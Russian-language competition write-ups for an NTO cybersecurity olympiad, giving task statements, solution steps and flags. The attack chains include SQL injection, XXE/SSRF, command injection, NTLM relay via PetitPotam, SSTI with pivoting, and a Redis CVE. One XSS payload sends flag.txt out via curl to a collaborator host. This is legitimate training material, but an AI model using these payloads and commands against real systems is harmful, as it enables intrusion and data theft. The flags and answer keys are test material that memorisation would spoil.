Инженерный тур. 1 этап
Для решения задачи требуется понять, что в поиске на сайте имеется SQL Injection (например, путем указания символа ' и изучения сообщения об ошибке), а затем проэксплуатировать SQL Injection и прочитать флаг из базы, например, с помощью sqlmap.
NTO(426c324f09185b7cbfc0126341e81e48).
Проверьте безопасность сервера 176.124.200.110.
Флаг в /flag.txt.
Для решения может потребоваться открыть порт на белом IP-адресе. Для этого можно использовать подготовленный для участников сервер 147.45.163.48. После входа будет доступен для прослушивания один порт, указанный в приветственном сообщении.
‘ssh user@147.45.163.48‘
Пароль: ‘F328fgFE78wfgewh@13‘
Необходимо найти порт 13337 на сервере с помощью сканирования (например, с помощью nmap), определить, что на нем работает uftpd версии 2.7.0 (прочитав баннер сервиса), и найти эксплойт для этой версии на https://www.exploit-db.com/.
Для входа нужно использовать анонимную аутентификацию.
Прочитать флаг можно, открыв любой порт на прослушивание (например, 36759 на предоставленном участникам сервере 147.45.163.48) и отправив запрос на сервер:
PORT 147,45,163,48,1,36503
RETR ../../../../flag.txt
NTO(ftp_not_a_good_thing).
Админ говорит, что настроил абсолютно защищенную систему...
Докажите ему обратное.
`ssh task@176.124.200.123`
Password: `a#@}jOJ0mo7QF2?`
Для решения задания необходимо подключиться к серверу через SSH.
После, изучив вывод команды sudo -l, необходимо просмотреть содержание скрипта /usr/local/bin/write_to_logs.sh и обнаружить, что в скрипте есть уязвимость Path Traversal.
Далее, изучая систему, можно наткнуться на скрипт /usr/local/bin/cron_script.sh, и, судя по названию файла, необходимо найти правило в планировщике задач, которое будет запускать этот скрипт. Само правило находится по пути /etc/cron.d/cron_script.
Зная все вводные, напишем скрипт в директорию /home/admin/scripts с названием, начинающимся на logs (такое условие в cron_script.sh):
sudo -u admin /usr/local/bin/write_to_logs.sh ../../../../../../../../../home/admin/.scripts/logs_1.sh '\#!/bin/bash
cat /root/flag > /tmp/flag'
Спустя 1 мин в директории /tmp появится наш flag.
NTO(045e76aceaae73be3757feaec1066c0d).
Обнаружен один из поддоменов компании, на котором странный сайт http://site.r8rox9jpftj8b9zjgadn.labs.cyber-ed.space/.
Попробуйте разобраться с безопасностью, может получится забрать что-нибудь ценное из внутренней сети.
Изучив веб-сайт компании, выясним, что там ничего интересного.
Попробуем пробрутить поддомены.
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space
ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space
Обнаружим, что помимо исходного поддомена site, еще имеется поддомен exchange.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space.
Функционал сервиса похож на регистрацию через XML. Вводим свои тестовые данные и загружаем xml-файл.
Сервис предоставляет возможность самостоятельно предоставить .xml-файл для обработки. Используя скачанный xml-файл как образец, попробуем проэксплуатировать XXE.

Ура! У нас получилось!
Немного поизучав систему и прочитав файл /etc/hosts, обнаруживаем во внутренней сети какой-то sharepoint.corp.local.
Теперь попробуем провести SSRF через XXE. С помощью Burp Intruder подбираем подходящее доменное имя во внутренней сети веб-приложения (sharepoint).
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://sharepoint" >
]>
<people>
<person>
<name>age</name>
<surname>&xxe;</surname>
<age>3</age>
<telephone>age</telephone>
</person>
</people>
Получаем в ответе флаг.
NTO(8329e576666ad79688ea5c9371ce54ad).
Необходимо проэксплуатировать уязвимость на сайте, который позволяет изучать IP-адреса.
Для решения задачи нужно в поле IP Address вбить строку 1.2.3.4; cat /flag.txt, что приведет к Command Injection в сервисе.
dig -x 1.2.3.4; cat /flag.txt
Это позволяет получить флаг.
NTO(78518a7400808d5a269ea53dd1ab3c5e).
Найдите флаг, расположенный где-то в недрах БД корпоративной сети.
Домен контроллер — 192.168.100.1
БД — 192.168.100.20
Для доступа к корпоративной сети необходимо подключиться к OpenVPN серверу https://s3.timeweb.cloud/25e0b98f-ctf/178eabddb1eef7e3548b75bbc91c9b49/infra.ovpn.
Скрипт запишет флаг в таблицу contacts БД people на SRV-SQL.
Команды для выполнения задания:
#1.
python3 PetitPotam.py <kali_ip> 192.168.100.1
#2.
python3 ntlmrelayx.py -socks -t mssql://192.168.100.20
#3.
proxychains -q python3 mssqlclient.py -no-pass -windows-auth CONTOSO/DC01\$@192.168.100.20
NTO(PetitPotamPotamPetimFlag).
Можно ли прочитать то, что скрывается в информации о пользователях данной компании?
Используя уязвимость Path traversal, читаем файлы:
/documents/download?file=....//....//....//....//....//....//.... //etc/passwd
Читаем исходный код приложения:
/documents/download?file=....//app.py
Находим там import app, читаем файл приложения:
/documents/download?file=....//app/__init__.py
В нем видим использование модуля app.auth.routes, читаем его:
/documents/download?file=....//app/auth/routes.py
Там видим файл моделей app.auth.models, читаем его:
/documents/download?file=....//app/auth/models.py
Читаем код и находим ошибку проверки пароля.
Обходим авторизацию:
username=a%25&password=.*&login=
Читаем информацию о пользователе платформы с полученными cookies: /profile и получаем флаг.
NTO(0fd42142896820873b3c88d1b2cef32d).
Найден милый сайт, который посылает пользователю комплимент, нужно лишь оставить свое имя. Советую глянуть http://45.91.238.91:5000/.
Задача: считать флаг по маршруту /root/flag.txt.
Имейте ввиду, что при создании персонального «таска» на N-порту также дополнительно создается служба SSH на N+1 порту.
Посетив ссылку на таск, можно увидеть борду (рис. 1.7), с которой запускается персональный экземпляр таска. В этой же борде, если есть какие-то проблемы, можно остановить свой таск и запустить его заново.
Рис. 1.7.После запуска таска сгенерируется персональный docker-контейнер и перекинет пользователя на его главную страницу.
Рис. 1.8.Из описания ясно, что, помимо веба, на
N-порту есть еще службаSSHнаN+1порту.Рис. 1.9.Это пригодится позже при Pivoting’е.
Если же на главной веб-странице что-то написать в форме и ее отправить, отправится
POST-запрос по маршруту/cutezator.php, в ответ на который вернется страничка, содержащая наш ввод + милый комплимент :3.Рис. 1.10.Далее следует проэксплуатировать
SSTI-уязвимость.Рис. 1.11.Рис. 1.12.Поскольку существуют намеки на
SSTI, а кроме того, используется расширение.php, то, вероятно, применяется движокTwig, с помощью которого можно получитьRCE.Рис. 1.13.Рис. 1.14.Рис. 1.15.Разберем, с чем имеем дело.
Пользовательь —
nobody, то есть через него нельзя подключиться подSSH.Рис. 1.16.Изначально находимся в директории
/var/www/html.Рис. 1.17.В этой директории нет никаких интересных файлов, кроме
entrypoint.shиhealthcheck.sh, которые нельзя прочитать или использовать для записи.Рис. 1.18.В директории
/homeесть папкаvivek, это наталкивает на мысль, что есть потенциальный пользователь, через которого можно сидеть наSSH.Рис. 1.19.Посмотрим, что у него есть в директории.
Рис. 1.20.У него есть файл
.bash_history, в котором раскрывается пароль пользователяvivek.Рис. 1.21.И есть файл-обманка, который намекает, что в сети есть хост с последним октетом 20, и дается какая-то строка, которую стоит запомнить.
Рис. 1.22.Посмотрев свою сеть, в данном случае сеть с третим октетом 1, можно прийти к мысли о том, чтобы просканировать хост 10.0.1.20.
Рис. 1.23.Собрав всю нужную информацию, можно пойти двумя путями:
- использовать
reverseshell; - пивотиться через
SSH.
Данный райтап будет рассматривать второй вариант.
- использовать
Для пивотинга через
SSH Dynamic Port Forwardingнужно ввести команду:ssh vivek@<хост с таском> -p <SSH-порт> -D <локальный порт>Таким образом подключаемся по
SSHк контейнеру с таском через пользователяvivek, и теперь локальный порт, в случае на рис. 1.24 \(4444\), будет прокидывать весь трафик черезSSH.Рис. 1.24.Немного изменяем файл с конфигурацией
proxychains, чтобы весь трафик отправлять на локальный порт \(4444\), который потом пойдет черезSSH.
Рис. 1.25.Проверяем, что все работает корректно.
Рис. 1.26.Теперь с помощью
SSH-пивотинга можем просканировать тот загадочный хост (главное не забыть флаг-sT).
Рис. 1.27.Узнаем, что на ней открыта служба
redis.
Рис. 1.28.Подключаемся к
redisи используем пароль из файла/home/vivek/flag.txt, чтобы аутентифицироваться.Рис. 1.29.Походив по
redisи не обнаружив ничего интересного, выводим всю информацию оredis, из которой узнаем, что используетсяredisверсии 5.0.7.Рис. 1.30.Загуглив
redis 5.0.7 cve, узнаем, что существуетCVE-2022-0543.Рис. 1.31.С помощью данной
CVEможем выполнять произвольныеLua-скрипты для выполнения системных команд на хосте.Рис. 1.32.Проверяем
PoC.Рис. 1.33.Немного модернизируем
PoCдля чтения файла/root/flag.txtи получаем флаг!Рис. 1.34.
NTO(c1asS1C-sSt1-aNd-p1V0t).
Гуляя по просторам интернета, наткнулся на этот странный сайт с поддержкой. Он выглядит каким-то небезопасным =) http://147.45.143.139:49183.
Задача: считать флаг по пути /web_task/flag.txt.
Исходный код: https://s3.timeweb.cloud/25e0b98f-ctf/9adfa7c60264f81a839c7537b4ff838e/src.zip.
Посетив таск, можно увидеть страницу с функцией поиска и обратной связи.
Рис. 1.35.Если в поиск вставить
XSS-payloadи отправить запрос, от имени браузера отправитсяGET-запрос по маршруту/api/find-product?product=<XSS payload>В ответ приложение вернет страницу, в которую напрямую подставляется наш ввод, из-за чего существует уязвимость
Reflected XSS.Payload: <img src=x onerror=alert(1)>
Рис. 1.36.Рис. 1.37.В функции обратной связи можно увидеть специальную форму, используя которую, можно отправить HTTP-запросы от лица бота на любой маршрут.
Рис. 1.38.В качестве подтверждения теории можно использовать нагрузку типа
<img src="https://collaborator">. Достаточно ее протестировать на себе, скопировать URL-часть, начиная с api, и отдать боту. После этого подождать отстук на коллаборатор (в качестве коллаборатора можно использовать любой публичный ресурс, например, https://public.requestbin.com/r/).Рис. 1.39.Рис. 1.40.Рис. 1.41.После того как изучена вся «видимая» часть таска, можно посмотреть в код из архива
files.zip.В файле
server.pyможно увидеть маршрут/api/test-connection, принимающийGET-параметрaddress, чье значение попадает в функциюsubprocess.getoutput(). Данная функция может использоваться для эксплуатацииRCE. Однако в 37-й строчке можно увидеть проверку на наличие специальногоcookie:secret, значение которого неизвестно, из-за чего самостоятельно проэксплуатироватьRCEнельзя.Рис. 1.42.В файле
admin_bot.js, который отвечает за работу бота, можно увидеть на 39-й строчке, что боту выдается как раз этаcookie secret.Рис. 1.43.Однако у
cookieстоит флагHttpOnly, из-за чего напрямую украсть ее нельзя. Но можно, используя бота, все равно обратиться к маршруту сRCEи исполнить произвольную системную команду.В качестве примера можно обратиться к данному маршруту от лица бота и передать в
GET-параметреaddress collaboratorдомен, на который должен отправитьсяDNS-запрос из-за командыnslookup.Полезная нагрузка в сыром виде:
<script>fetch('http://<адрес приложения>/api/test-connection?address=collaborator') </script>Полезная нагрузка для бота в URL-кодировке:
api/find-product?product=<script>fetch%28%27http%3A%2F%2F <адрес приложения>%2Fapi%2Ftest-connection%3Faddress%3 Dcollaborator%27%29<%2Fscript>Рис. 1.44.Рис. 1.45.И если немного доработать полезную нагрузку, то можно извлечь содержимое файла
flag.txt:<script>fetch('http://<адрес приложения>/api/test-connection?address=; curl -d @flag.txt https://collaborator')</script>После чего на коллаборатор придет флаг.
NTO(5b276a850d5de04f877331faf88dd7f2).
Можно ли найти что-то интересное в дампе трафика с компьютера администратора?
https://s3.timeweb.cloud/25e0b98f-ctf/ba775ead527d21e787aa611a284c2df5/dump.pcapng
- Открыть дамп трафика в
wireshark. - Добавить фильтр
telnet. - Найти пароли, передаваемые в открытом виде.
- Подключиться к обнаруженному хосту с полученными кредами.
- Выполнить команду
cat flag.
NTO(3b07a189afc2d6fbfbd8c8ce63f6ee2d).
Главный администратор компании, собираясь в отпуск, на всякий случай решил оставить SSH-ключ от сервера бэкапирования своей команде.
Однако он никому не доверяет. Поэтому разделил ключ на несколько частей, чтобы в случае ЧС ключ смогли восстановить, только работая в команде (минимум два человека).
Стоит отметить, что начальник думает, что он хорош в криптографии и использовал для разделения ключа схему Шамира с целыми положительными коэффициентами кривой, однако из-за недостатка времени не прибегал к модулярной арифметике.
Сможет ли один из админов, оставшись в критический момент в одиночестве, получить доступ, восстановить доступ к серверу с бэкапами и вернуть инфраструктуру компании к жизни?
Информация от администратора: https://s3.timeweb.cloud/25e0b98f-ctf/e9e532868564edc593eefce84bdf596f/info.txt.
Ключ должен подходить к серверу:
`ssh admin@147.45.143.178`
Разбираемся со схемой Шамира (например, с помощью статьи по теме: https://habr.com/ru/articles/431392/).
Разделение секрета выполнено только для двух человек, поэтому используется прямая линия в качестве кривой.
Используя отсутствие модулярной арифметики, а также ограничения на коэффициенты (целые, положительные) и малый размер точки, перебираем секрет.
Перебор можно упростить, так как в секрете должен быть заголовок от ssh ключа
-----BEGIN OPENSSH PRIVATE KEY-----
NTO(7de930b8167bec6a630c8f328d504598).
Что-то в этих логах есть странное, непонятно только что...
https://s3.timeweb.cloud/25e0b98f-ctf/4626b3518cea73d6de4ada6b3277cad7/web_application.log
Для решения необходимо найти в логах следы SQLi. При неправильном символе — выдается код ответа 500:
2024-07-20 13:53:43,065 - 32.102.121.254 - - [20/Jul/2024 13:53:43] "GET /?user=3232' and (select substr(flag,1,1) from flag)='w' -- HTTP/1.1" 500 -
Код 200 означает правильный символ:
2024-07-20 13:54:08,065 - 32.102.121.254 - - [20/Jul/2024 13:54:08] "GET /?user=3232' and (select substr(flag,1,1) from flag)='6' -- HTTP/1.1" 200 -
Исходя из этих данных, можно найти все ответы 200, определить все символы флага, соединить их и получить флаг в исходном виде.
NTO(7j78bph3zl5v4mp1maevmjdydjt0pyrk).








































